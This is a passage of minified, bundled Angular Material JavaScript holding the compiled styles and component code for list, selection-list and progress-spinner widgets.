.mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:0;padding-left:16px}[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:0}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-left:0;padding-right:16px}[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-item.mat-list-option .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar .mat-list-item-content-reverse .mat-list-text,[dir=rtl] .mat-list-base[dense] .mat-list-option.mat-list-option .mat-list-item-content-reverse .mat-list-text{padding-right:0;padding-left:16px}.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-item.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content-reverse .mat-list-text,.mat-list-base[dense] .mat-list-option.mat-list-item-with-avatar.mat-list-option .mat-list-item-content .mat-list-text{padding-right:16px;padding-left:16px}.mat-list-base[dense] .mat-list-item .mat-list-avatar,.mat-list-base[dense] .mat-list-option .mat-list-avatar{flex-shrink:0;width:36px;height:36px;border-radius:50%;object-fit:cover}.mat-list-base[dense] .mat-list-item .mat-list-avatar~.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:68px;width:calc(100% - 68px)}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-list-avatar~.mat-divider-inset,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-list-avatar~.mat-divider-inset{margin-left:auto;margin-right:68px}.mat-list-base[dense] .mat-list-item .mat-list-icon,.mat-list-base[dense] .mat-list-option .mat-list-icon{flex-shrink:0;width:20px;height:20px;font-size:20px;box-sizing:content-box;border-radius:50%;padding:4px}.mat-list-base[dense] .mat-list-item .mat-list-icon~.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:60px;width:calc(100% - 60px)}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-list-icon~.mat-divider-inset,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-list-icon~.mat-divider-inset{margin-left:auto;margin-right:60px}.mat-list-base[dense] .mat-list-item .mat-divider,.mat-list-base[dense] .mat-list-option .mat-divider{position:absolute;bottom:0;left:0;width:100%;margin:0}[dir=rtl] .mat-list-base[dense] .mat-list-item .mat-divider,[dir=rtl] .mat-list-base[dense] .mat-list-option .mat-divider{margin-left:auto;margin-right:0}.mat-list-base[dense] .mat-list-item .mat-divider.mat-divider-inset,.mat-list-base[dense] .mat-list-option .mat-divider.mat-divider-inset{position:absolute}.mat-nav-list a{text-decoration:none;color:inherit}.mat-nav-list .mat-list-item{cursor:pointer;outline:none}mat-action-list button{background:none;color:inherit;border:none;font:inherit;outline:inherit;-webkit-tap-highlight-color:transparent;text-align:left}[dir=rtl] mat-action-list button{text-align:right}mat-action-list button::-moz-focus-inner{border:0}mat-action-list .mat-list-item{cursor:pointer;outline:inherit}.mat-list-option:not(.mat-list-item-disabled){cursor:pointer;outline:none}.mat-list-item-disabled{pointer-events:none}.cdk-high-contrast-active .mat-list-item-disabled{opacity:.5}.cdk-high-contrast-active :host .mat-list-item-disabled{opacity:.5}.cdk-high-contrast-active .mat-selection-list:focus{outline-style:dotted}.cdk-high-contrast-active .mat-list-option:hover,.cdk-high-contrast-active .mat-list-option:focus,.cdk-high-contrast-active .mat-nav-list .mat-list-item:hover,.cdk-high-contrast-active .mat-nav-list .mat-list-item:focus,.cdk-high-contrast-active mat-action-list .mat-list-item:hover,.cdk-high-contrast-active mat-action-list .mat-list-item:focus{outline:dotted 1px;z-index:1}.cdk-high-contrast-active .mat-list-single-selected-option::after{content:"";position:absolute;top:50%;right:16px;transform:translateY(-50%);width:10px;height:0;border-bottom:solid 10px;border-radius:10px}.cdk-high-contrast-active [dir=rtl] .mat-list-single-selected-option::after{right:auto;left:16px}@media(hover: none){.mat-list-option:not(.mat-list-single-selected-option):not(.mat-list-item-disabled):hover,.mat-nav-list .mat-list-item:not(.mat-list-item-disabled):hover,.mat-action-list .mat-list-item:not(.mat-list-item-disabled):hover{background:none}}\n',_=[[["","mat-list-avatar",""],["","mat-list-icon",""],["","matListAvatar",""],["","matListIcon",""]],[["","mat-line",""],["","matLine",""]],"*"],v=["[mat-list-avatar], [mat-list-icon], [matListAvatar], [matListIcon]","[mat-line], [matLine]","*"],b=["text"];function y(t,e){if(1&t&&s._UZ(0,"mat-pseudo-checkbox",5),2&t){const t=s.oxw();s.Q6J("state",t.selected?"checked":"unchecked")("disabled",t.disabled)}}const w=["*",[["","mat-list-avatar",""],["","mat-list-icon",""],["","matListAvatar",""],["","matListIcon",""]]],x=["*","[mat-list-avatar], [mat-list-icon], [matListAvatar], [matListIcon]"],C=(0,r.Id)((0,r.Kr)(class{})),S=(0,r.Kr)(class{}),E=new s.OlP("MatList"),k=new s.OlP("MatNavList");let T=(()=>{class t extends C{constructor(){super(...arguments),this._stateChanges=new a.xQ}ngOnChanges(){this._stateChanges.next()}ngOnDestroy(){this._stateChanges.complete()}}return t.\u0275fac=function(){let e;return function(n){return(e||(e=s.n5z(t)))(n||t)}}(),t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-nav-list"]],hostAttrs:["role","navigation",1,"mat-nav-list","mat-list-base"],inputs:{disableRipple:"disableRipple",disabled:"disabled"},exportAs:["matNavList"],features:[s._Bn([{provide:k,useExisting:t}]),s.qOj,s.TTD],ngContentSelectors:m,decls:1,vars:0,template:function(t,e){1&t&&(s.F$t(),s.Hsn(0))},styles:[g],encapsulation:2,changeDetection:0}),t})(),A=(()=>{class t extends C{constructor(t){super(),this._elementRef=t,this._stateChanges=new a.xQ,"action-list"===this._getListType()&&t.nativeElement.classList.add("mat-action-list")}_getListType(){const t=this._elementRef.nativeElement.nodeName.toLowerCase();return"mat-list"===t?"list":"mat-action-list"===t?"action-list":null}ngOnChanges(){this._stateChanges.next()}ngOnDestroy(){this._stateChanges.complete()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq))},t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-list"],["mat-action-list"]],hostAttrs:[1,"mat-list","mat-list-base"],inputs:{disableRipple:"disableRipple",disabled:"disabled"},exportAs:["matList"],features:[s._Bn([{provide:E,useExisting:t}]),s.qOj,s.TTD],ngContentSelectors:m,decls:1,vars:0,template:function(t,e){1&t&&(s.F$t(),s.Hsn(0))},styles:[g],encapsulation:2,changeDetection:0}),t})(),I=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=s.lG2({type:t,selectors:[["","mat-list-avatar",""],["","matListAvatar",""]],hostAttrs:[1,"mat-list-avatar"]}),t})(),O=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275dir=s.lG2({type:t,selectors:[["","mat-list-icon",""],["","matListIcon",""]],hostAttrs:[1,"mat-list-icon"]}),t})(),R=(()=>{class t extends S{constructor(t,e,n,i){super(),this._element=t,this._isInteractiveList=!1,this._destroyed=new a.xQ,this._disabled=!1,this._isInteractiveList=!!(n||i&&"action-list"===i._getListType()),this._list=n||i;const s=this._getHostElement();"button"===s.nodeName.toLowerCase()&&!s.hasAttribute("type")&&s.setAttribute("type","button"),this._list&&this._list._stateChanges.pipe((0,c.R)(this._destroyed)).subscribe(()=>{e.markForCheck()})}get disabled(){return this._disabled||!(!this._list||!this._list.disabled)}set disabled(t){this._disabled=(0,o.Ig)(t)}ngAfterContentInit(){(0,r.E0)(this._lines,this._element)}ngOnDestroy(){this._destroyed.next(),this._destroyed.complete()}_isRippleDisabled(){return!this._isInteractiveList||this.disableRipple||!(!this._list||!this._list.disableRipple)}_getHostElement(){return this._element.nativeElement}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq),s.Y36(s.sBO),s.Y36(k,8),s.Y36(E,8))},t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-list-item"],["a","mat-list-item",""],["button","mat-list-item",""]],contentQueries:function(t,e,n){if(1&t&&(s.Suo(n,I,5),s.Suo(n,O,5),s.Suo(n,r.X2,5)),2&t){let t;s.iGM(t=s.CRH())&&(e._avatar=t.first),s.iGM(t=s.CRH())&&(e._icon=t.first),s.iGM(t=s.CRH())&&(e._lines=t)}},hostAttrs:[1,"mat-list-item","mat-focus-indicator"],hostVars:6,hostBindings:function(t,e){2&t&&s.ekj("mat-list-item-disabled",e.disabled)("mat-list-item-avatar",e._avatar||e._icon)("mat-list-item-with-avatar",e._avatar||e._icon)},inputs:{disableRipple:"disableRipple",disabled:"disabled"},exportAs:["matListItem"],features:[s.qOj],ngContentSelectors:v,decls:6,vars:2,consts:[[1,"mat-list-item-content"],["mat-ripple","",1,"mat-list-item-ripple",3,"matRippleTrigger","matRippleDisabled"],[1,"mat-list-text"]],template:function(t,e){1&t&&(s.F$t(_),s.TgZ(0,"div",0),s._UZ(1,"div",1),s.Hsn(2),s.TgZ(3,"div",2),s.Hsn(4,1),s.qZA(),s.Hsn(5,2),s.qZA()),2&t&&(s.xp6(1),s.Q6J("matRippleTrigger",e._getHostElement())("matRippleDisabled",e._isRippleDisabled()))},directives:[r.wG],encapsulation:2,changeDetection:0}),t})();const P=(0,r.Kr)(class{}),N=(0,r.Kr)(class{}),D={provide:p.JU,useExisting:(0,s.Gpc)(()=>F),multi:!0};class L{constructor(t,e,n){this.source=t,this.option=e,this.options=n}}let M=(()=>{class t extends N{constructor(t,e,n){super(),this._element=t,this._changeDetector=e,this.selectionList=n,this._selected=!1,this._disabled=!1,this._hasFocus=!1,this.selectedChange=new s.vpe,this.checkboxPosition="after",this._inputsInitialized=!1}get color(){return this._color||this.selectionList.color}set color(t){this._color=t}get value(){return this._value}set value(t){this.selected&&!this.selectionList.compareWith(t,this.value)&&this._inputsInitialized&&(this.selected=!1),this._value=t}get disabled(){return this._disabled||this.selectionList&&this.selectionList.disabled}set disabled(t){const e=(0,o.Ig)(t);e!==this._disabled&&(this._disabled=e,this._changeDetector.markForCheck())}get selected(){return this.selectionList.selectedOptions.isSelected(this)}set selected(t){const e=(0,o.Ig)(t);e!==this._selected&&(this._setSelected(e),(e||this.selectionList.multiple)&&this.selectionList._reportValueChange())}ngOnInit(){const t=this.selectionList;t._value&&t._value.some(e=>t.compareWith(e,this._value))&&this._setSelected(!0);const e=this._selected;Promise.resolve().then(()=>{(this._selected||e)&&(this.selected=!0,this._changeDetector.markForCheck())}),this._inputsInitialized=!0}ngAfterContentInit(){(0,r.E0)(this._lines,this._element)}ngOnDestroy(){this.selected&&Promise.resolve().then(()=>{this.selected=!1});const t=this._hasFocus,e=this.selectionList._removeOptionFromList(this);t&&e&&e.focus()}toggle(){this.selected=!this.selected}focus(){this._element.nativeElement.focus()}getLabel(){return this._text&&this._text.nativeElement.textContent||""}_isRippleDisabled(){return this.disabled||this.disableRipple||this.selectionList.disableRipple}_handleClick(){!this.disabled&&(this.selectionList.multiple||!this.selected)&&(this.toggle(),this.selectionList._emitChangeEvent([this]))}_handleFocus(){this.selectionList._setFocusedOption(this),this._hasFocus=!0}_handleBlur(){this.selectionList._onTouched(),this._hasFocus=!1}_getHostElement(){return this._element.nativeElement}_setSelected(t){return t!==this._selected&&(this._selected=t,t?this.selectionList.selectedOptions.select(this):this.selectionList.selectedOptions.deselect(this),this.selectedChange.emit(t),this._changeDetector.markForCheck(),!0)}_markForCheck(){this._changeDetector.markForCheck()}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq),s.Y36(s.sBO),s.Y36((0,s.Gpc)(()=>F)))},t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-list-option"]],contentQueries:function(t,e,n){if(1&t&&(s.Suo(n,I,5),s.Suo(n,O,5),s.Suo(n,r.X2,5)),2&t){let t;s.iGM(t=s.CRH())&&(e._avatar=t.first),s.iGM(t=s.CRH())&&(e._icon=t.first),s.iGM(t=s.CRH())&&(e._lines=t)}},viewQuery:function(t,e){if(1&t&&s.Gf(b,5),2&t){let t;s.iGM(t=s.CRH())&&(e._text=t.first)}},hostAttrs:["role","option",1,"mat-list-item","mat-list-option","mat-focus-indicator"],hostVars:15,hostBindings:function(t,e){1&t&&s.NdJ("focus",function(){return e._handleFocus()})("blur",function(){return e._handleBlur()})("click",function(){return e._handleClick()}),2&t&&(s.uIk("aria-selected",e.selected)("aria-disabled",e.disabled)("tabindex",-1),s.ekj("mat-list-item-disabled",e.disabled)("mat-list-item-with-avatar",e._avatar||e._icon)("mat-primary","primary"===e.color)("mat-accent","primary"!==e.color&&"warn"!==e.color)("mat-warn","warn"===e.color)("mat-list-single-selected-option",e.selected&&!e.selectionList.multiple))},inputs:{disableRipple:"disableRipple",checkboxPosition:"checkboxPosition",color:"color",value:"value",selected:"selected",disabled:"disabled"},outputs:{selectedChange:"selectedChange"},exportAs:["matListOption"],features:[s.qOj],ngContentSelectors:x,decls:7,vars:5,consts:[[1,"mat-list-item-content"],["mat-ripple","",1,"mat-list-item-ripple",3,"matRippleTrigger","matRippleDisabled"],[3,"state","disabled",4,"ngIf"],[1,"mat-list-text"],["text",""],[3,"state","disabled"]],template:function(t,e){1&t&&(s.F$t(w),s.TgZ(0,"div",0),s._UZ(1,"div",1),s.YNc(2,y,1,2,"mat-pseudo-checkbox",2),s.TgZ(3,"div",3,4),s.Hsn(5),s.qZA(),s.Hsn(6,1),s.qZA()),2&t&&(s.ekj("mat-list-item-content-reverse","after"==e.checkboxPosition),s.xp6(1),s.Q6J("matRippleTrigger",e._getHostElement())("matRippleDisabled",e._isRippleDisabled()),s.xp6(1),s.Q6J("ngIf",e.selectionList.multiple))},directives:[r.wG,i.O5,r.nP],encapsulation:2,changeDetection:0}),t})(),F=(()=>{class t extends P{constructor(t,e,n,i){super(),this._element=t,this._changeDetector=n,this._focusMonitor=i,this._multiple=!0,this._contentInitialized=!1,this.selectionChange=new s.vpe,this.tabIndex=0,this.color="accent",this.compareWith=(t,e)=>t===e,this._disabled=!1,this.selectedOptions=new h.Ov(this._multiple),this._tabIndex=-1,this._onChange=t=>{},this._destroyed=new a.xQ,this._onTouched=()=>{}}get disabled(){return this._disabled}set disabled(t){this._disabled=(0,o.Ig)(t),this._markOptionsForCheck()}get multiple(){return this._multiple}set multiple(t){const e=(0,o.Ig)(t);e!==this._multiple&&(this._multiple=e,this.selectedOptions=new h.Ov(this._multiple,this.selectedOptions.selected))}ngAfterContentInit(){var t;this._contentInitialized=!0,this._keyManager=new u.Em(this.options).withWrap().withTypeAhead().withHomeAndEnd().skipPredicate(()=>!1).withAllowedModifierKeys(["shiftKey"]),this._value&&this._setOptionsFromValues(this._value),this._keyManager.tabOut.pipe((0,c.R)(this._destroyed)).subscribe(()=>{this._allowFocusEscape()}),this.options.changes.pipe((0,l.O)(null),(0,c.R)(this._destroyed)).subscribe(()=>{this._updateTabIndex()}),this.selectedOptions.changed.pipe((0,c.R)(this._destroyed)).subscribe(t=>{if(t.added)for(let e of t.added)e.selected=!0;if(t.removed)for(let e of t.removed)e.selected=!1}),null===(t=this._focusMonitor)||void 0===t||t.monitor(this._element).pipe((0,c.R)(this._destroyed)).subscribe(t=>{var e;if("keyboard"===t||"program"===t){let t=0;for(let n=0;n<this.options.length;n++)if(null===(e=this.options.get(n))||void 0===e?void 0:e.selected){t=n;break}this._keyManager.setActiveItem(t)}})}ngOnChanges(t){const e=t.disableRipple,n=t.color;(e&&!e.firstChange||n&&!n.firstChange)&&this._markOptionsForCheck()}ngOnDestroy(){var t;null===(t=this._focusMonitor)||void 0===t||t.stopMonitoring(this._element),this._destroyed.next(),this._destroyed.complete(),this._isDestroyed=!0}focus(t){this._element.nativeElement.focus(t)}selectAll(){return this._setAllOptionsSelected(!0)}deselectAll(){return this._setAllOptionsSelected(!1)}_setFocusedOption(t){this._keyManager.updateActiveItem(t)}_removeOptionFromList(t){const e=this._getOptionIndex(t);return e>-1&&this._keyManager.activeItemIndex===e&&(e>0?this._keyManager.updateActiveItem(e-1):0===e&&this.options.length>1&&this._keyManager.updateActiveItem(Math.min(e+1,this.options.length-1))),this._keyManager.activeItem}_keydown(t){const e=t.keyCode,n=this._keyManager,i=n.activeItemIndex,s=(0,d.Vb)(t);switch(e){case d.L_:case d.K5:!s&&!n.isTyping()&&(this._toggleFocusedOption(),t.preventDefault());break;default:if(e===d.A&&this.multiple&&(0,d.Vb)(t,"ctrlKey")&&!n.isTyping()){const e=this.options.some(t=>!t.disabled&&!t.selected);this._setAllOptionsSelected(e,!0,!0),t.preventDefault()}else n.onKeydown(t)}this.multiple&&(e===d.LH||e===d.JH)&&t.shiftKey&&n.activeItemIndex!==i&&this._toggleFocusedOption()}_reportValueChange(){if(this.options&&!this._isDestroyed){const t=this._getSelectedOptionValues();this._onChange(t),this._value=t}}_emitChangeEvent(t){this.selectionChange.emit(new L(this,t[0],t))}writeValue(t){this._value=t,this.options&&this._setOptionsFromValues(t||[])}setDisabledState(t){this.disabled=t}registerOnChange(t){this._onChange=t}registerOnTouched(t){this._onTouched=t}_setOptionsFromValues(t){this.options.forEach(t=>t._setSelected(!1)),t.forEach(t=>{const e=this.options.find(e=>!e.selected&&this.compareWith(e.value,t));e&&e._setSelected(!0)})}_getSelectedOptionValues(){return this.options.filter(t=>t.selected).map(t=>t.value)}_toggleFocusedOption(){let t=this._keyManager.activeItemIndex;if(null!=t&&this._isValidIndex(t)){let e=this.options.toArray()[t];e&&!e.disabled&&(this._multiple||!e.selected)&&(e.toggle(),this._emitChangeEvent([e]))}}_setAllOptionsSelected(t,e,n){const i=[];return this.options.forEach(n=>{(!e||!n.disabled)&&n._setSelected(t)&&i.push(n)}),i.length&&(this._reportValueChange(),n&&this._emitChangeEvent(i)),i}_isValidIndex(t){return t>=0&&t<this.options.length}_getOptionIndex(t){return this.options.toArray().indexOf(t)}_markOptionsForCheck(){this.options&&this.options.forEach(t=>t._markForCheck())}_allowFocusEscape(){this._tabIndex=-1,setTimeout(()=>{this._tabIndex=0,this._changeDetector.markForCheck()})}_updateTabIndex(){this._tabIndex=0===this.options.length?-1:0}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(s.SBq),s.$8M("tabindex"),s.Y36(s.sBO),s.Y36(u.tE))},t.\u0275cmp=s.Xpm({type:t,selectors:[["mat-selection-list"]],contentQueries:function(t,e,n){if(1&t&&s.Suo(n,M,5),2&t){let t;s.iGM(t=s.CRH())&&(e.options=t)}},hostAttrs:["role","listbox",1,"mat-selection-list","mat-list-base"],hostVars:3,hostBindings:function(t,e){1&t&&s.NdJ("keydown",function(t){return e._keydown(t)}),2&t&&s.uIk("aria-multiselectable",e.multiple)("aria-disabled",e.disabled.toString())("tabindex",e._tabIndex)},inputs:{disableRipple:"disableRipple",tabIndex:"tabIndex",color:"color",compareWith:"compareWith",disabled:"disabled",multiple:"multiple"},outputs:{selectionChange:"selectionChange"},exportAs:["matSelectionList"],features:[s._Bn([D]),s.qOj,s.TTD],ngContentSelectors:m,decls:1,vars:0,template:function(t,e){1&t&&(s.F$t(),s.Hsn(0))},styles:[g],encapsulation:2,changeDetection:0}),t})(),U=(()=>{class t{}return t.\u0275fac=function(e){return new(e||t)},t.\u0275mod=s.oAB({type:t}),t.\u0275inj=s.cJS({imports:[[r.uc,r.si,r.BQ,r.us,i.ez],r.uc,r.BQ,r.us,f.t]}),t})()},80181:function(t,e,n){"use strict";n.d(e,{Cq:function(){return v},$g:function(){return _}});var i=n(2316),s=n(54364),r=n(24298),o=n(20657),a=n(36145),c=n(71918);function l(t,e){if(1&t&&(i.O4$(),i._UZ(0,"circle",3)),2&t){const t=i.oxw();i.Udp("animation-name","mat-progress-spinner-stroke-rotate-"+t._spinnerAnimationLabel)("stroke-dashoffset",t._getStrokeDashOffset(),"px")("stroke-dasharray",t._getStrokeCircumference(),"px")("stroke-width",t._getCircleStrokeWidth(),"%"),i.uIk("r",t._getCircleRadius())}}function u(t,e){if(1&t&&(i.O4$(),i._UZ(0,"circle",3)),2&t){const t=i.oxw();i.Udp("stroke-dashoffset",t._getStrokeDashOffset(),"px")("stroke-dasharray",t._getStrokeCircumference(),"px")("stroke-width",t._getCircleStrokeWidth(),"%"),i.uIk("r",t._getCircleRadius())}}function h(t,e){if(1&t&&(i.O4$(),i._UZ(0,"circle",3)),2&t){const t=i.oxw();i.Udp("animation-name","mat-progress-spinner-stroke-rotate-"+t._spinnerAnimationLabel)("stroke-dashoffset",t._getStrokeDashOffset(),"px")("stroke-dasharray",t._getStrokeCircumference(),"px")("stroke-width",t._getCircleStrokeWidth(),"%"),i.uIk("r",t._getCircleRadius())}}function d(t,e){if(1&t&&(i.O4$(),i._UZ(0,"circle",3)),2&t){const t=i.oxw();i.Udp("stroke-dashoffset",t._getStrokeDashOffset(),"px")("stroke-dasharray",t._getStrokeCircumference(),"px")("stroke-width",t._getCircleStrokeWidth(),"%"),i.uIk("r",t._getCircleRadius())}}const p=".mat-progress-spinner{display:block;position:relative;overflow:hidden}.mat-progress-spinner svg{position:absolute;transform:rotate(-90deg);top:0;left:0;transform-origin:center;overflow:visible}.mat-progress-spinner circle{fill:transparent;transform-origin:center;transition:stroke-dashoffset 225ms linear}._mat-animation-noopable.mat-progress-spinner circle{transition:none;animation:none}.cdk-high-contrast-active .mat-progress-spinner circle{stroke:currentColor;stroke:CanvasText}.mat-progress-spinner.mat-progress-spinner-indeterminate-animation[mode=indeterminate] svg{animation:mat-progress-spinner-linear-rotate 2000ms linear infinite}._mat-animation-noopable.mat-progress-spinner.mat-progress-spinner-indeterminate-animation[mode=indeterminate] svg{transition:none;animation:none}.mat-progress-spinner.mat-progress-spinner-indeterminate-animation[mode=indeterminate] circle{transition-property:stroke;animation-duration:4000ms;animation-timing-function:cubic-bezier(0.35, 0, 0.25, 1);animation-iteration-count:infinite}._mat-animation-noopable.mat-progress-spinner.mat-progress-spinner-indeterminate-animation[mode=indeterminate] circle{transition:none;animation:none}.mat-progress-spinner.mat-progress-spinner-indeterminate-fallback-animation[mode=indeterminate] svg{animation:mat-progress-spinner-stroke-rotate-fallback 10000ms cubic-bezier(0.87, 0.03, 0.33, 1) infinite}._mat-animation-noopable.mat-progress-spinner.mat-progress-spinner-indeterminate-fallback-animation[mode=indeterminate] svg{transition:none;animation:none}.mat-progress-spinner.mat-progress-spinner-indeterminate-fallback-animation[mode=indeterminate] circle{transition-property:stroke}._mat-animation-noopable.mat-progress-spinner.mat-progress-spinner-indeterminate-fallback-animation[mode=indeterminate] circle{transition:none;animation:none}@keyframes mat-progress-spinner-linear-rotate{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes mat-progress-spinner-stroke-rotate-100{0%{stroke-dashoffset:268.606171575px;transform:rotate(0)}12.5%{stroke-dashoffset:56.5486677px;transform:rotate(0)}12.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(72.5deg)}25%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(72.5deg)}25.0001%{stroke-dashoffset:268.606171575px;transform:rotate(270deg)}37.5%{stroke-dashoffset:56.5486677px;transform:rotate(270deg)}37.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(161.5deg)}50%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(161.5deg)}50.0001%{stroke-dashoffset:268.606171575px;transform:rotate(180deg)}62.5%{stroke-dashoffset:56.5486677px;transform:rotate(180deg)}62.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(251.5deg)}75%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(251.5deg)}75.0001%{stroke-dashoffset:268.606171575px;transform:rotate(90deg)}87.5%{stroke-dashoffset:56.5486677px;transform:rotate(90deg)}87.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(341.5deg)}100%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(341.5deg)}}@keyframes mat-progress-spinner-stroke-rotate-fallback{0%{transform:rotate(0deg)}25%{transform:rotate(1170deg)}50%{transform:rotate(2340deg)}75%{transform:rotate(3510deg)}100%{transform:rotate(4680deg)}}\n",f=(0,r.pj)(class{constructor(t){this._elementRef=t}},"primary"),m=new i.OlP("mat-progress-spinner-default-options",{providedIn:"root",factory:function(){return{diameter:100}}});class g extends f{constructor(t,e,n,i,s){super(t),this._document=n,this._diameter=100,this._value=0,this._fallbackAnimation=!1,this.mode="determinate";const r=g._diameters;this._spinnerAnimationLabel=this._getSpinnerAnimationLabel(),r.has(n.head)||r.set(n.head,new Set([100])),this._fallbackAnimation=e.EDGE||e.TRIDENT,this._noopAnimations="NoopAnimations"===i&&!!s&&!s._forceAnimations,s&&(s.diameter&&(this.diameter=s.diameter),s.strokeWidth&&(this.strokeWidth=s.strokeWidth))}get diameter(){return this._diameter}set diameter(t){this._diameter=(0,o.su)(t),this._spinnerAnimationLabel=this._getSpinnerAnimationLabel(),!this._fallbackAnimation&&this._styleRoot&&this._attachStyleNode()}get strokeWidth(){return this._strokeWidth||this.diameter/10}set strokeWidth(t){this._strokeWidth=(0,o.su)(t)}get value(){return"determinate"===this.mode?this._value:0}set value(t){this._value=Math.max(0,Math.min(100,(0,o.su)(t)))}ngOnInit(){const t=this._elementRef.nativeElement;this._styleRoot=(0,a.kV)(t)||this._document.head,this._attachStyleNode(),t.classList.add(`mat-progress-spinner-indeterminate${this._fallbackAnimation?"-fallback":""}-animation`)}_getCircleRadius(){return(this.diameter-10)/2}_getViewBox(){const t=2*this._getCircleRadius()+this.strokeWidth;return`0 0 ${t} ${t}`}_getStrokeCircumference(){return 2*Math.PI*this._getCircleRadius()}_getStrokeDashOffset(){return"determinate"===this.mode?this._getStrokeCircumference()*(100-this._value)/100:this._fallbackAnimation&&"indeterminate"===this.mode?.2*this._getStrokeCircumference():null}_getCircleStrokeWidth(){return this.strokeWidth/this.diameter*100}_attachStyleNode(){const t=this._styleRoot,e=this._diameter,n=g._diameters;let i=n.get(t);if(!i||!i.has(e)){const s=this._document.createElement("style");s.setAttribute("mat-spinner-animation",this._spinnerAnimationLabel),s.textContent=this._getAnimationText(),t.appendChild(s),i||(i=new Set,n.set(t,i)),i.add(e)}}_getAnimationText(){const t=this._getStrokeCircumference();return"\n @keyframes mat-progress-spinner-stroke-rotate-DIAMETER {\n    0%      { stroke-dashoffset: START_VALUE;  transform: rotate(0); }\n    12.5%   { stroke-dashoffset: END_VALUE;    transform: rotate(0); }\n    12.5001%  { stroke-dashoffset: END_VALUE;    transform: rotateX(180deg) rotate(72.5deg); }\n    25%     { stroke-dashoffset: START_VALUE;  transform: rotateX(180deg) rotate(72.5deg); }\n\n    25.0001%   { stroke-dashoffset: START_VALUE;  transform: rotate(270deg); }\n    37.5%   { stroke-dashoffset: END_VALUE;    transform: rotate(270deg); }\n    37.5001%  { stroke-dashoffset: END_VALUE;    transform: rotateX(180deg) rotate(161.5deg); }\n    50%     { stroke-dashoffset: START_VALUE;  transform: rotateX(180deg) rotate(161.5deg); }\n\n    50.0001%  { stroke-dashoffset: START_VALUE;  transform: rotate(180deg); }\n    62.5%   { stroke-dashoffset: END_VALUE;    transform: rotate(180deg); }\n    62.5001%  { stroke-dashoffset: END_VALUE;    transform: rotateX(180deg) rotate(251.5deg); }\n    75%     { stroke-dashoffset: START_VALUE;  transform: rotateX(180deg) rotate(251.5deg); }\n\n    75.0001%  { stroke-dashoffset: START_VALUE;  transform: rotate(90deg); }\n    87.5%   { stroke-dashoffset: END_VALUE;    transform: rotate(90deg); }\n    87.5001%  { stroke-dashoffset: END_VALUE;    transform: rotateX(180deg) rotate(341.5deg); }\n    100%    { stroke-dashoffset: START_VALUE;  transform: rotateX(180deg) rotate(341.5deg); }\n  }\n".replace(/START_VALUE/g,""+.95*t).replace(/END_VALUE/g,""+.2*t).replace(/DIAMETER/g,`${this._spinnerAnimationLabel}`)}_getSpinnerAnimationLabel(){return this.diameter.toString().replace(".","_")}}g.\u0275fac=function(t){return 